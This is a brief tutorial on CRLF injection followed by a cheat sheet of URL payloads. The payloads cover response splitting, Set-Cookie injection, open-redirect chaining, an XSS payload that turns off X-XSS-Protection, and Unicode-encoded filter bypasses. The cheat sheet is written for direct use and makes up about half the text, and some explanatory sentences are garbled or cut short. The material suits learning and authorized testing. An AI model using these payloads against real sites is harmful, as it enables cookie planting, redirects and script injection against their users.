CRLF Injection

 What is CRLF?:-

When a browser sends a request toa web server, the web server answers back with a response containing both      the HTTP response headers and the actual website content, i.e. the response body. 
The HTTP headers and the  HTML response (the website content) are separated by a specific combination of special characters, namely a carriage return and a line feed.
For short they are also known as CRLF.

An example of CRLF Injection in a log file:-

Imagine a log file in an admin panel with 

the output stream pattern of IP - Time - Visited

Path, such as the below:

123.123.123.123 - 08:15 - /index.php?page=home

If an attacker is able to inject the CRLF

characters into the HTTP request he is able

to change the output stream and fake the log

entries.He can change the response from the webs

application to something like the below:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

HTTP Response Splitting:-

Since the header of a HTTP response and its

body are separated by CRLF characters an

attacker can try to inject those

Browser to:

/%0d%0aLocation:%20http://myweb.com

And the server responses with the header:

• Location: http://myweb.com

Cheatsheet:-

1. HTTP Response Splitting

• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect

• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 

• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2

• /google.com/%2F..%0D%0AHeader-Test:test2

• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS

• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23

• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass

• %E5%98%8A = %0A = \u560a

• %E5%98%8D = %0D = \u560d

• %E5%98%BE = %3E = \u563e (>)

• %E5%98%BC = %3C = \u563c (<)

• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test